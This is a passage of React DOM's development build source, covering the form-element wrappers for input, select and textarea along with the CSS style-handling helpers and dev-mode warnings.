1946 var group = queryRoot.querySelectorAll('input[name=' + JSON.stringify('' + name) + '][type="radio"]');
1947
1948 for (var i = 0; i < group.length; i++) {
1949 var otherNode = group[i];
1950
1951 if (otherNode === rootNode || otherNode.form !== rootNode.form) {
1952 continue;
1953 } // This will throw if radio buttons rendered by different copies of React
1954 // and the same name are rendered into the same form (same as #1939).
1955 // That's probably okay; we don't support it just as we don't support
1956 // mixing React radio buttons with non-React ones.
1957
1958
1959 var otherProps = getFiberCurrentPropsFromNode(otherNode);
1960
1961 if (!otherProps) {
1962 throw new Error('ReactDOMInput: Mixing React and non-React radio inputs with the ' + 'same `name` is not supported.');
1963 } // We need update the tracked value on the named cousin since the value
1964 // was changed but the input saw no event or value set
1965
1966
1967 updateValueIfChanged(otherNode); // If this is a controlled radio button group, forcing the input that
1968 // was previously checked to update will cause it to be come re-checked
1969 // as appropriate.
1970
1971 updateWrapper(otherNode, otherProps);
1972 }
1973 }
1974 } // In Chrome, assigning defaultValue to certain input types triggers input validation.
1975 // For number inputs, the display value loses trailing decimal points. For email inputs,
1976 // Chrome raises "The specified value <x> is not a valid email address".
1977 //
1978 // Here we check to see if the defaultValue has actually changed, avoiding these problems
1979 // when the user is inputting text
1980 //
1981 // https://github.com/facebook/react/issues/7253
1982
1983
1984 function setDefaultValue(node, type, value) {
1985 if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js
1986 type !== 'number' || getActiveElement(node.ownerDocument) !== node) {
1987 if (value == null) {
1988 node.defaultValue = toString(node._wrapperState.initialValue);
1989 } else if (node.defaultValue !== toString(value)) {
1990 node.defaultValue = toString(value);
1991 }
1992 }
1993 }
1994
1995 var didWarnSelectedSetOnOption = false;
1996 var didWarnInvalidChild = false;
1997 var didWarnInvalidInnerHTML = false;
1998 /**
1999 * Implements an <option> host component that warns when `selected` is set.
2000 */
2001
2002 function validateProps(element, props) {
2003 {
2004 // If a value is not provided, then the children must be simple.
2005 if (props.value == null) {
2006 if (typeof props.children === 'object' && props.children !== null) {
2007 React.Children.forEach(props.children, function (child) {
2008 if (child == null) {
2009 return;
2010 }
2011
2012 if (typeof child === 'string' || typeof child === 'number') {
2013 return;
2014 }
2015
2016 if (!didWarnInvalidChild) {
2017 didWarnInvalidChild = true;
2018
2019 error('Cannot infer the option value of complex children. ' + 'Pass a `value` prop or use a plain string as children to <option>.');
2020 }
2021 });
2022 } else if (props.dangerouslySetInnerHTML != null) {
2023 if (!didWarnInvalidInnerHTML) {
2024 didWarnInvalidInnerHTML = true;
2025
2026 error('Pass a `value` prop if you set dangerouslyInnerHTML so React knows ' + 'which value should be selected.');
2027 }
2028 }
2029 } // TODO: Remove support for `selected` in <option>.
2030
2031
2032 if (props.selected != null && !didWarnSelectedSetOnOption) {
2033 error('Use the `defaultValue` or `value` props on <select> instead of ' + 'setting `selected` on <option>.');
2034
2035 didWarnSelectedSetOnOption = true;
2036 }
2037 }
2038 }
2039 function postMountWrapper$1(element, props) {
2040 // value="" should make a value attribute (#6219)
2041 if (props.value != null) {
2042 element.setAttribute('value', toString(getToStringValue(props.value)));
2043 }
2044 }
2045
2046 var isArrayImpl = Array.isArray; // eslint-disable-next-line no-redeclare
2047
2048 function isArray(a) {
2049 return isArrayImpl(a);
2050 }
2051
2052 var didWarnValueDefaultValue$1;
2053
2054 {
2055 didWarnValueDefaultValue$1 = false;
2056 }
2057
2058 function getDeclarationErrorAddendum() {
2059 var ownerName = getCurrentFiberOwnerNameInDevOrNull();
2060
2061 if (ownerName) {
2062 return '\n\nCheck the render method of `' + ownerName + '`.';
2063 }
2064
2065 return '';
2066 }
2067
2068 var valuePropNames = ['value', 'defaultValue'];
2069 /**
2070 * Validation function for `value` and `defaultValue`.
2071 */
2072
2073 function checkSelectPropTypes(props) {
2074 {
2075 checkControlledValueProps('select', props);
2076
2077 for (var i = 0; i < valuePropNames.length; i++) {
2078 var propName = valuePropNames[i];
2079
2080 if (props[propName] == null) {
2081 continue;
2082 }
2083
2084 var propNameIsArray = isArray(props[propName]);
2085
2086 if (props.multiple && !propNameIsArray) {
2087 error('The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum());
2088 } else if (!props.multiple && propNameIsArray) {
2089 error('The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum());
2090 }
2091 }
2092 }
2093 }
2094
2095 function updateOptions(node, multiple, propValue, setDefaultSelected) {
2096 var options = node.options;
2097
2098 if (multiple) {
2099 var selectedValues = propValue;
2100 var selectedValue = {};
2101
2102 for (var i = 0; i < selectedValues.length; i++) {
2103 // Prefix to avoid chaos with special keys.
2104 selectedValue['$' + selectedValues[i]] = true;
2105 }
2106
2107 for (var _i = 0; _i < options.length; _i++) {
2108 var selected = selectedValue.hasOwnProperty('$' + options[_i].value);
2109
2110 if (options[_i].selected !== selected) {
2111 options[_i].selected = selected;
2112 }
2113
2114 if (selected && setDefaultSelected) {
2115 options[_i].defaultSelected = true;
2116 }
2117 }
2118 } else {
2119 // Do not set `select.value` as exact behavior isn't consistent across all
2120 // browsers for all cases.
2121 var _selectedValue = toString(getToStringValue(propValue));
2122
2123 var defaultSelected = null;
2124
2125 for (var _i2 = 0; _i2 < options.length; _i2++) {
2126 if (options[_i2].value === _selectedValue) {
2127 options[_i2].selected = true;
2128
2129 if (setDefaultSelected) {
2130 options[_i2].defaultSelected = true;
2131 }
2132
2133 return;
2134 }
2135
2136 if (defaultSelected === null && !options[_i2].disabled) {
2137 defaultSelected = options[_i2];
2138 }
2139 }
2140
2141 if (defaultSelected !== null) {
2142 defaultSelected.selected = true;
2143 }
2144 }
2145 }
2146 /**
2147 * Implements a <select> host component that allows optionally setting the
2148 * props `value` and `defaultValue`. If `multiple` is false, the prop must be a
2149 * stringable. If `multiple` is true, the prop must be an array of stringables.
2150 *
2151 * If `value` is not supplied (or null/undefined), user actions that change the
2152 * selected option will trigger updates to the rendered options.
2153 *
2154 * If it is supplied (and not null/undefined), the rendered options will not
2155 * update in response to user actions. Instead, the `value` prop must change in
2156 * order for the rendered options to update.
2157 *
2158 * If `defaultValue` is provided, any options with the supplied values will be
2159 * selected.
2160 */
2161
2162
2163 function getHostProps$1(element, props) {
2164 return assign({}, props, {
2165 value: undefined
2166 });
2167 }
2168 function initWrapperState$1(element, props) {
2169 var node = element;
2170
2171 {
2172 checkSelectPropTypes(props);
2173 }
2174
2175 node._wrapperState = {
2176 wasMultiple: !!props.multiple
2177 };
2178
2179 {
2180 if (props.value !== undefined && props.defaultValue !== undefined && !didWarnValueDefaultValue$1) {
2181 error('Select elements must be either controlled or uncontrolled ' + '(specify either the value prop, or the defaultValue prop, but not ' + 'both). Decide between using a controlled or uncontrolled select ' + 'element and remove one of these props. More info: ' + 'https://reactjs.org/link/controlled-components');
2182
2183 didWarnValueDefaultValue$1 = true;
2184 }
2185 }
2186 }
2187 function postMountWrapper$2(element, props) {
2188 var node = element;
2189 node.multiple = !!props.multiple;
2190 var value = props.value;
2191
2192 if (value != null) {
2193 updateOptions(node, !!props.multiple, value, false);
2194 } else if (props.defaultValue != null) {
2195 updateOptions(node, !!props.multiple, props.defaultValue, true);
2196 }
2197 }
2198 function postUpdateWrapper(element, props) {
2199 var node = element;
2200 var wasMultiple = node._wrapperState.wasMultiple;
2201 node._wrapperState.wasMultiple = !!props.multiple;
2202 var value = props.value;
2203
2204 if (value != null) {
2205 updateOptions(node, !!props.multiple, value, false);
2206 } else if (wasMultiple !== !!props.multiple) {
2207 // For simplicity, reapply `defaultValue` if `multiple` is toggled.
2208 if (props.defaultValue != null) {
2209 updateOptions(node, !!props.multiple, props.defaultValue, true);
2210 } else {
2211 // Revert the select back to its default unselected state.
2212 updateOptions(node, !!props.multiple, props.multiple ? [] : '', false);
2213 }
2214 }
2215 }
2216 function restoreControlledState$1(element, props) {
2217 var node = element;
2218 var value = props.value;
2219
2220 if (value != null) {
2221 updateOptions(node, !!props.multiple, value, false);
2222 }
2223 }
2224
2225 var didWarnValDefaultVal = false;
2226
2227 /**
2228 * Implements a <textarea> host component that allows setting `value`, and
2229 * `defaultValue`. This differs from the traditional DOM API because value is
2230 * usually set as PCDATA children.
2231 *
2232 * If `value` is not supplied (or null/undefined), user actions that affect the
2233 * value will trigger updates to the element.
2234 *
2235 * If `value` is supplied (and not null/undefined), the rendered element will
2236 * not trigger updates to the element. Instead, the `value` prop must change in
2237 * order for the rendered element to be updated.
2238 *
2239 * The rendered element will be initialized with an empty value, the prop
2240 * `defaultValue` if specified, or the children content (deprecated).
2241 */
2242 function getHostProps$2(element, props) {
2243 var node = element;
2244
2245 if (props.dangerouslySetInnerHTML != null) {
2246 throw new Error('`dangerouslySetInnerHTML` does not make sense on <textarea>.');
2247 } // Always set children to the same thing. In IE9, the selection range will
2248 // get reset if `textContent` is mutated. We could add a check in setTextContent
2249 // to only set the value if/when the value differs from the node value (which would
2250 // completely solve this IE9 bug), but Sebastian+Sophie seemed to like this
2251 // solution. The value can be a boolean or object so that's why it's forced
2252 // to be a string.
2253
2254
2255 var hostProps = assign({}, props, {
2256 value: undefined,
2257 defaultValue: undefined,
2258 children: toString(node._wrapperState.initialValue)
2259 });
2260
2261 return hostProps;
2262 }
2263 function initWrapperState$2(element, props) {
2264 var node = element;
2265
2266 {
2267 checkControlledValueProps('textarea', props);
2268
2269 if (props.value !== undefined && props.defaultValue !== undefined && !didWarnValDefaultVal) {
2270 error('%s contains a textarea with both value and defaultValue props. ' + 'Textarea elements must be either controlled or uncontrolled ' + '(specify either the value prop, or the defaultValue prop, but not ' + 'both). Decide between using a controlled or uncontrolled textarea ' + 'and remove one of these props. More info: ' + 'https://reactjs.org/link/controlled-components', getCurrentFiberOwnerNameInDevOrNull() || 'A component');
2271
2272 didWarnValDefaultVal = true;
2273 }
2274 }
2275
2276 var initialValue = props.value; // Only bother fetching default value if we're going to use it
2277
2278 if (initialValue == null) {
2279 var children = props.children,
2280 defaultValue = props.defaultValue;
2281
2282 if (children != null) {
2283 {
2284 error('Use the `defaultValue` or `value` props instead of setting ' + 'children on <textarea>.');
2285 }
2286
2287 {
2288 if (defaultValue != null) {
2289 throw new Error('If you supply `defaultValue` on a <textarea>, do not pass children.');
2290 }
2291
2292 if (isArray(children)) {
2293 if (children.length > 1) {
2294 throw new Error('<textarea> can only have at most one child.');
2295 }
2296
2297 children = children[0];
2298 }
2299
2300 defaultValue = children;
2301 }
2302 }
2303
2304 if (defaultValue == null) {
2305 defaultValue = '';
2306 }
2307
2308 initialValue = defaultValue;
2309 }
2310
2311 node._wrapperState = {
2312 initialValue: getToStringValue(initialValue)
2313 };
2314 }
2315 function updateWrapper$1(element, props) {
2316 var node = element;
2317 var value = getToStringValue(props.value);
2318 var defaultValue = getToStringValue(props.defaultValue);
2319
2320 if (value != null) {
2321 // Cast `value` to a string to ensure the value is set correctly. While
2322 // browsers typically do this as necessary, jsdom doesn't.
2323 var newValue = toString(value); // To avoid side effects (such as losing text selection), only set value if changed
2324
2325 if (newValue !== node.value) {
2326 node.value = newValue;
2327 }
2328
2329 if (props.defaultValue == null && node.defaultValue !== newValue) {
2330 node.defaultValue = newValue;
2331 }
2332 }
2333
2334 if (defaultValue != null) {
2335 node.defaultValue = toString(defaultValue);
2336 }
2337 }
2338 function postMountWrapper$3(element, props) {
2339 var node = element; // This is in postMount because we need access to the DOM node, which is not
2340 // available until after the component has mounted.
2341
2342 var textContent = node.textContent; // Only set node.value if textContent is equal to the expected
2343 // initial value. In IE10/IE11 there is a bug where the placeholder attribute
2344 // will populate textContent as well.
2345 // https://developer.microsoft.com/microsoft-edge/platform/issues/101525/
2346
2347 if (textContent === node._wrapperState.initialValue) {
2348 if (textContent !== '' && textContent !== null) {
2349 node.value = textContent;
2350 }
2351 }
2352 }
2353 function restoreControlledState$2(element, props) {
2354 // DOM component is still mounted; update
2355 updateWrapper$1(element, props);
2356 }
2357
2358 var HTML_NAMESPACE = 'http://www.w3.org/1999/xhtml';
2359 var MATH_NAMESPACE = 'http://www.w3.org/1998/Math/MathML';
2360 var SVG_NAMESPACE = 'http://www.w3.org/2000/svg'; // Assumes there is no parent namespace.
2361
2362 function getIntrinsicNamespace(type) {
2363 switch (type) {
2364 case 'svg':
2365 return SVG_NAMESPACE;
2366
2367 case 'math':
2368 return MATH_NAMESPACE;
2369
2370 default:
2371 return HTML_NAMESPACE;
2372 }
2373 }
2374 function getChildNamespace(parentNamespace, type) {
2375 if (parentNamespace == null || parentNamespace === HTML_NAMESPACE) {
2376 // No (or default) parent namespace: potential entry point.
2377 return getIntrinsicNamespace(type);
2378 }
2379
2380 if (parentNamespace === SVG_NAMESPACE && type === 'foreignObject') {
2381 // We're leaving SVG.
2382 return HTML_NAMESPACE;
2383 } // By default, pass namespace below.
2384
2385
2386 return parentNamespace;
2387 }
2388
2389 /* globals MSApp */
2390
2391 /**
2392 * Create a function which has 'unsafe' privileges (required by windows8 apps)
2393 */
2394 var createMicrosoftUnsafeLocalFunction = function (func) {
2395 if (typeof MSApp !== 'undefined' && MSApp.execUnsafeLocalFunction) {
2396 return function (arg0, arg1, arg2, arg3) {
2397 MSApp.execUnsafeLocalFunction(function () {
2398 return func(arg0, arg1, arg2, arg3);
2399 });
2400 };
2401 } else {
2402 return func;
2403 }
2404 };
2405
2406 var reusableSVGContainer;
2407 /**
2408 * Set the innerHTML property of a node
2409 *
2410 * @param {DOMElement} node
2411 * @param {string} html
2412 * @internal
2413 */
2414
2415 var setInnerHTML = createMicrosoftUnsafeLocalFunction(function (node, html) {
2416 if (node.namespaceURI === SVG_NAMESPACE) {
2417
2418 if (!('innerHTML' in node)) {
2419 // IE does not have innerHTML for SVG nodes, so instead we inject the
2420 // new markup in a temp node and then move the child nodes across into
2421 // the target node
2422 reusableSVGContainer = reusableSVGContainer || document.createElement('div');
2423 reusableSVGContainer.innerHTML = '<svg>' + html.valueOf().toString() + '</svg>';
2424 var svgNode = reusableSVGContainer.firstChild;
2425
2426 while (node.firstChild) {
2427 node.removeChild(node.firstChild);
2428 }
2429
2430 while (svgNode.firstChild) {
2431 node.appendChild(svgNode.firstChild);
2432 }
2433
2434 return;
2435 }
2436 }
2437
2438 node.innerHTML = html;
2439 });
2440
2441 /**
2442 * HTML nodeType values that represent the type of the node
2443 */
2444 var ELEMENT_NODE = 1;
2445 var TEXT_NODE = 3;
2446 var COMMENT_NODE = 8;
2447 var DOCUMENT_NODE = 9;
2448 var DOCUMENT_FRAGMENT_NODE = 11;
2449
2450 /**
2451 * Set the textContent property of a node. For text updates, it's faster
2452 * to set the `nodeValue` of the Text node directly instead of using
2453 * `.textContent` which will remove the existing node and create a new one.
2454 *
2455 * @param {DOMElement} node
2456 * @param {string} text
2457 * @internal
2458 */
2459
2460 var setTextContent = function (node, text) {
2461 if (text) {
2462 var firstChild = node.firstChild;
2463
2464 if (firstChild && firstChild === node.lastChild && firstChild.nodeType === TEXT_NODE) {
2465 firstChild.nodeValue = text;
2466 return;
2467 }
2468 }
2469
2470 node.textContent = text;
2471 };
2472
2473 // List derived from Gecko source code:
2474 // https://github.com/mozilla/gecko-dev/blob/4e638efc71/layout/style/test/property_database.js
2475 var shorthandToLonghand = {
2476 animation: ['animationDelay', 'animationDirection', 'animationDuration', 'animationFillMode', 'animationIterationCount', 'animationName', 'animationPlayState', 'animationTimingFunction'],
2477 background: ['backgroundAttachment', 'backgroundClip', 'backgroundColor', 'backgroundImage', 'backgroundOrigin', 'backgroundPositionX', 'backgroundPositionY', 'backgroundRepeat', 'backgroundSize'],
2478 backgroundPosition: ['backgroundPositionX', 'backgroundPositionY'],
2479 border: ['borderBottomColor', 'borderBottomStyle', 'borderBottomWidth', 'borderImageOutset', 'borderImageRepeat', 'borderImageSlice', 'borderImageSource', 'borderImageWidth', 'borderLeftColor', 'borderLeftStyle', 'borderLeftWidth', 'borderRightColor', 'borderRightStyle', 'borderRightWidth', 'borderTopColor', 'borderTopStyle', 'borderTopWidth'],
2480 borderBlockEnd: ['borderBlockEndColor', 'borderBlockEndStyle', 'borderBlockEndWidth'],
2481 borderBlockStart: ['borderBlockStartColor', 'borderBlockStartStyle', 'borderBlockStartWidth'],
2482 borderBottom: ['borderBottomColor', 'borderBottomStyle', 'borderBottomWidth'],
2483 borderColor: ['borderBottomColor', 'borderLeftColor', 'borderRightColor', 'borderTopColor'],
2484 borderImage: ['borderImageOutset', 'borderImageRepeat', 'borderImageSlice', 'borderImageSource', 'borderImageWidth'],
2485 borderInlineEnd: ['borderInlineEndColor', 'borderInlineEndStyle', 'borderInlineEndWidth'],
2486 borderInlineStart: ['borderInlineStartColor', 'borderInlineStartStyle', 'borderInlineStartWidth'],
2487 borderLeft: ['borderLeftColor', 'borderLeftStyle', 'borderLeftWidth'],
2488 borderRadius: ['borderBottomLeftRadius', 'borderBottomRightRadius', 'borderTopLeftRadius', 'borderTopRightRadius'],
2489 borderRight: ['borderRightColor', 'borderRightStyle', 'borderRightWidth'],
2490 borderStyle: ['borderBottomStyle', 'borderLeftStyle', 'borderRightStyle', 'borderTopStyle'],
2491 borderTop: ['borderTopColor', 'borderTopStyle', 'borderTopWidth'],
2492 borderWidth: ['borderBottomWidth', 'borderLeftWidth', 'borderRightWidth', 'borderTopWidth'],
2493 columnRule: ['columnRuleColor', 'columnRuleStyle', 'columnRuleWidth'],
2494 columns: ['columnCount', 'columnWidth'],
2495 flex: ['flexBasis', 'flexGrow', 'flexShrink'],
2496 flexFlow: ['flexDirection', 'flexWrap'],
2497 font: ['fontFamily', 'fontFeatureSettings', 'fontKerning', 'fontLanguageOverride', 'fontSize', 'fontSizeAdjust', 'fontStretch', 'fontStyle', 'fontVariant', 'fontVariantAlternates', 'fontVariantCaps', 'fontVariantEastAsian', 'fontVariantLigatures', 'fontVariantNumeric', 'fontVariantPosition', 'fontWeight', 'lineHeight'],
2498 fontVariant: ['fontVariantAlternates', 'fontVariantCaps', 'fontVariantEastAsian', 'fontVariantLigatures', 'fontVariantNumeric', 'fontVariantPosition'],
2499 gap: ['columnGap', 'rowGap'],
2500 grid: ['gridAutoColumns', 'gridAutoFlow', 'gridAutoRows', 'gridTemplateAreas', 'gridTemplateColumns', 'gridTemplateRows'],
2501 gridArea: ['gridColumnEnd', 'gridColumnStart', 'gridRowEnd', 'gridRowStart'],
2502 gridColumn: ['gridColumnEnd', 'gridColumnStart'],
2503 gridColumnGap: ['columnGap'],
2504 gridGap: ['columnGap', 'rowGap'],
2505 gridRow: ['gridRowEnd', 'gridRowStart'],
2506 gridRowGap: ['rowGap'],
2507 gridTemplate: ['gridTemplateAreas', 'gridTemplateColumns', 'gridTemplateRows'],
2508 listStyle: ['listStyleImage', 'listStylePosition', 'listStyleType'],
2509 margin: ['marginBottom', 'marginLeft', 'marginRight', 'marginTop'],
2510 marker: ['markerEnd', 'markerMid', 'markerStart'],
2511 mask: ['maskClip', 'maskComposite', 'maskImage', 'maskMode', 'maskOrigin', 'maskPositionX', 'maskPositionY', 'maskRepeat', 'maskSize'],
2512 maskPosition: ['maskPositionX', 'maskPositionY'],
2513 outline: ['outlineColor', 'outlineStyle', 'outlineWidth'],
2514 overflow: ['overflowX', 'overflowY'],
2515 padding: ['paddingBottom', 'paddingLeft', 'paddingRight', 'paddingTop'],
2516 placeContent: ['alignContent', 'justifyContent'],
2517 placeItems: ['alignItems', 'justifyItems'],
2518 placeSelf: ['alignSelf', 'justifySelf'],
2519 textDecoration: ['textDecorationColor', 'textDecorationLine', 'textDecorationStyle'],
2520 textEmphasis: ['textEmphasisColor', 'textEmphasisStyle'],
2521 transition: ['transitionDelay', 'transitionDuration', 'transitionProperty', 'transitionTimingFunction'],
2522 wordWrap: ['overflowWrap']
2523 };
2524
2525 /**
2526 * CSS properties which accept numbers but are not in units of "px".
2527 */
2528 var isUnitlessNumber = {
2529 animationIterationCount: true,
2530 aspectRatio: true,
2531 borderImageOutset: true,
2532 borderImageSlice: true,
2533 borderImageWidth: true,
2534 boxFlex: true,
2535 boxFlexGroup: true,
2536 boxOrdinalGroup: true,
2537 columnCount: true,
2538 columns: true,
2539 flex: true,
2540 flexGrow: true,
2541 flexPositive: true,
2542 flexShrink: true,
2543 flexNegative: true,
2544 flexOrder: true,
2545 gridArea: true,
2546 gridRow: true,
2547 gridRowEnd: true,
2548 gridRowSpan: true,
2549 gridRowStart: true,
2550 gridColumn: true,
2551 gridColumnEnd: true,
2552 gridColumnSpan: true,
2553 gridColumnStart: true,
2554 fontWeight: true,
2555 lineClamp: true,
2556 lineHeight: true,
2557 opacity: true,
2558 order: true,
2559 orphans: true,
2560 tabSize: true,
2561 widows: true,
2562 zIndex: true,
2563 zoom: true,
2564 // SVG-related properties
2565 fillOpacity: true,
2566 floodOpacity: true,
2567 stopOpacity: true,
2568 strokeDasharray: true,
2569 strokeDashoffset: true,
2570 strokeMiterlimit: true,
2571 strokeOpacity: true,
2572 strokeWidth: true
2573 };
2574 /**
2575 * @param {string} prefix vendor-specific prefix, eg: Webkit
2576 * @param {string} key style name, eg: transitionDuration
2577 * @return {string} style name prefixed with `prefix`, properly camelCased, eg:
2578 * WebkitTransitionDuration
2579 */
2580
2581 function prefixKey(prefix, key) {
2582 return prefix + key.charAt(0).toUpperCase() + key.substring(1);
2583 }
2584 /**
2585 * Support style names that may come passed in prefixed by adding permutations
2586 * of vendor prefixes.
2587 */
2588
2589
2590 var prefixes = ['Webkit', 'ms', 'Moz', 'O']; // Using Object.keys here, or else the vanilla for-in loop makes IE8 go into an
2591 // infinite loop, because it iterates over the newly added props too.
2592
2593 Object.keys(isUnitlessNumber).forEach(function (prop) {
2594 prefixes.forEach(function (prefix) {
2595 isUnitlessNumber[prefixKey(prefix, prop)] = isUnitlessNumber[prop];
2596 });
2597 });
2598
2599 /**
2600 * Convert a value into the proper css writable value. The style name `name`
2601 * should be logical (no hyphens), as specified
2602 * in `CSSProperty.isUnitlessNumber`.
2603 *
2604 * @param {string} name CSS property name such as `topMargin`.
2605 * @param {*} value CSS property value such as `10px`.
2606 * @return {string} Normalized style value with dimensions applied.
2607 */
2608
2609 function dangerousStyleValue(name, value, isCustomProperty) {
2610 // Note that we've removed escapeTextForBrowser() calls here since the
2611 // whole string will be escaped when the attribute is injected into
2612 // the markup. If you provide unsafe user data here they can inject
2613 // arbitrary CSS which may be problematic (I couldn't repro this):
2614 // https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
2615 // http://www.thespanner.co.uk/2007/11/26/ultimate-xss-css-injection/
2616 // This is not an XSS hole but instead a potential CSS injection issue
2617 // which has lead to a greater discussion about how we're going to
2618 // trust URLs moving forward. See #2115901
2619 var isEmpty = value == null || typeof value === 'boolean' || value === '';
2620
2621 if (isEmpty) {
2622 return '';
2623 }
2624
2625 if (!isCustomProperty && typeof value === 'number' && value !== 0 && !(isUnitlessNumber.hasOwnProperty(name) && isUnitlessNumber[name])) {
2626 return value + 'px'; // Presumes implicit 'px' suffix for unitless numbers
2627 }
2628
2629 {
2630 checkCSSPropertyStringCoercion(value, name);
2631 }
2632
2633 return ('' + value).trim();
2634 }
2635
2636 var uppercasePattern = /([A-Z])/g;
2637 var msPattern = /^ms-/;
2638 /**
2639 * Hyphenates a camelcased CSS property name, for example:
2640 *
2641 * > hyphenateStyleName('backgroundColor')
2642 * < "background-color"
2643 * > hyphenateStyleName('MozTransition')
2644 * < "-moz-transition"
2645 * > hyphenateStyleName('msTransition')
2646 * < "-ms-transition"
2647 *
2648 * As Modernizr suggests (http://modernizr.com/docs/#prefixed), an `ms` prefix
2649 * is converted to `-ms-`.
2650 */
2651
2652 function hyphenateStyleName(name) {
2653 return name.replace(uppercasePattern, '-$1').toLowerCase().replace(msPattern, '-ms-');
2654 }
2655
2656 var warnValidStyle = function () {};
2657
2658 {
2659 // 'msTransform' is correct, but the other prefixes should be capitalized
2660 var badVendoredStyleNamePattern = /^(?:webkit|moz|o)[A-Z]/;
2661 var msPattern$1 = /^-ms-/;
2662 var hyphenPattern = /-(.)/g; // style values shouldn't contain a semicolon
2663
2664 var badStyleValueWithSemicolonPattern = /;\s*$/;
2665 var warnedStyleNames = {};
2666 var warnedStyleValues = {};
2667 var warnedForNaNValue = false;
2668 var warnedForInfinityValue = false;
2669
2670 var camelize = function (string) {
2671 return string.replace(hyphenPattern, function (_, character) {
2672 return character.toUpperCase();
2673 });
2674 };
2675
2676 var warnHyphenatedStyleName = function (name) {
2677 if (warnedStyleNames.hasOwnProperty(name) && warnedStyleNames[name]) {
2678 return;
2679 }
2680
2681 warnedStyleNames[name] = true;
2682
2683 error('Unsupported style property %s. Did you mean %s?', name, // As Andi Smith suggests
2684 // (http://www.andismith.com/blog/2012/02/modernizr-prefixed/), an `-ms` prefix
2685 // is converted to lowercase `ms`.
2686 camelize(name.replace(msPattern$1, 'ms-')));
2687 };
2688
2689 var warnBadVendoredStyleName = function (name) {
2690 if (warnedStyleNames.hasOwnProperty(name) && warnedStyleNames[name]) {
2691 return;
2692 }
2693
2694 warnedStyleNames[name] = true;
2695
2696 error('Unsupported vendor-prefixed style property %s. Did you mean %s?', name, name.charAt(0).toUpperCase() + name.slice(1));
2697 };
2698
2699 var warnStyleValueWithSemicolon = function (name, value) {
2700 if (warnedStyleValues.hasOwnProperty(value) && warnedStyleValues[value]) {
2701 return;
2702 }
2703
2704 warnedStyleValues[value] = true;
2705
2706 error("Style property values shouldn't contain a semicolon. " + 'Try "%s: %s" instead.', name, value.replace(badStyleValueWithSemicolonPattern, ''));
2707 };
2708
2709 var warnStyleValueIsNaN = function (name, value) {
2710 if (warnedForNaNValue) {
2711 return;
2712 }
2713
2714 warnedForNaNValue = true;
2715
2716 error('`NaN` is an invalid value for the `%s` css style property.', name);
2717 };
2718
2719 var warnStyleValueIsInfinity = function (name, value) {
2720 if (warnedForInfinityValue) {
2721 return;
2722 }
2723
2724 warnedForInfinityValue = true;
2725
2726 error('`Infinity` is an invalid value for the `%s` css style property.', name);
2727 };
2728
2729 warnValidStyle = function (name, value) {
2730 if (name.indexOf('-') > -1) {
2731 warnHyphenatedStyleName(name);
2732 } else if (badVendoredStyleNamePattern.test(name)) {
2733 warnBadVendoredStyleName(name);
2734 } else if (badStyleValueWithSemicolonPattern.test(value)) {
2735 warnStyleValueWithSemicolon(name, value);
2736 }
2737
2738 if (typeof value === 'number') {
2739 if (isNaN(value)) {
2740 warnStyleValueIsNaN(name, value);
2741 } else if (!isFinite(value)) {
2742 warnStyleValueIsInfinity(name, value);
2743 }
2744 }
2745 };
2746 }
2747
2748 var warnValidStyle$1 = warnValidStyle;
2749
2750 /**
2751 * Operations for dealing with CSS properties.
2752 */
2753
2754 /**
2755 * This creates a string that is expected to be equivalent to the style
2756 * attribute generated by server-side rendering. It by-passes warnings and
2757 * security checks so it's not safe to use this value for anything other than
2758 * comparison. It is only used in DEV for SSR validation.
2759 */
2760
2761 function createDangerousStringForStyles(styles) {
2762 {
2763 var serialized = '';
2764 var delimiter = '';
2765
2766 for (var styleName in styles) {
2767 if (!styles.hasOwnProperty(styleName)) {
2768 continue;
2769 }
2770
2771 var styleValue = styles[styleName];
2772
2773 if (styleValue != null) {
2774 var isCustomProperty = styleName.indexOf('--') === 0;
2775 serialized += delimiter + (isCustomProperty ? styleName : hyphenateStyleName(styleName)) + ':';
2776 serialized += dangerousStyleValue(styleName, styleValue, isCustomProperty);
2777 delimiter = ';';
2778 }
2779 }
2780
2781 return serialized || null;
2782 }
2783 }
2784 /**
2785 * Sets the value for multiple styles on a node. If a value is specified as
2786 * '' (empty string), the corresponding style property will be unset.
2787 *
2788 * @param {DOMElement} node
2789 * @param {object} styles
2790 */
2791
2792 function setValueForStyles(node, styles) {
2793 var style = node.style;
2794
2795 for (var styleName in styles) {
2796 if (!styles.hasOwnProperty(styleName)) {
2797 continue;
2798 }
2799
2800 var isCustomProperty = styleName.indexOf('--') === 0;
2801
2802 {
2803 if (!isCustomProperty) {
2804 warnValidStyle$1(styleName, styles[styleName]);
2805 }
2806 }
2807
2808 var styleValue = dangerousStyleValue(styleName, styles[styleName], isCustomProperty);
2809
2810 if (styleName === 'float') {
2811 styleName = 'cssFloat';
2812 }
2813
2814 if (isCustomProperty) {
2815 style.setProperty(styleName, styleValue);
2816 } else {
2817 style[styleName] = styleValue;
2818 }
2819 }
2820 }
2821
2822 function isValueEmpty(value) {
2823 return value == null || typeof value === 'boolean' || value === '';
2824 }
2825 /**
2826 * Given {color: 'red', overflow: 'hidden'} returns {
2827 * color: 'color',
2828 * overflowX: 'overflow',
2829 * overflowY: 'overflow',
2830 * }. This can be read as "the overflowY property was set by the overflow
2831 * shorthand". That is, the values are the property that each was derived from.
2832 */
2833
2834
2835 function expandShorthandMap(styles) {
2836 var expanded = {};
2837
2838 for (var key in styles) {
2839 var longhands = shorthandToLonghand[key] || [key];
2840
2841 for (var i = 0; i < longhands.length; i++) {
2842 expanded[longhands[i]] = key;
2843 }
2844 }
2845
2846 return expanded;
2847 }
2848 /**
2849 * When mixing shorthand and longhand property names, we warn during updates if
2850 * we expect an incorrect result to occur. In particular, we warn for:
2851 *
2852 * Updating a shorthand property (longhand gets overwritten):
2853 * {font: 'foo', fontVariant: 'bar'} -> {font: 'baz', fontVariant: 'bar'}
2854 * becomes .style.font = 'baz'
2855 * Removing a shorthand property (longhand gets lost too):
2856 * {font: 'foo', fontVariant: 'bar'} -> {fontVariant: 'bar'}
2857 * becomes .style.font = ''
2858 * Removing a longhand property (should revert to shorthand; doesn't):
2859 * {font: 'foo', fontVariant: 'bar'} -> {font: 'foo'}
2860 * becomes .style.fontVariant = ''
2861 */
2862
2863
2864 function validateShorthandPropertyCollisionInDev(styleUpdates, nextStyles) {
2865 {
2866 if (!nextStyles) {
2867 return;
2868 }
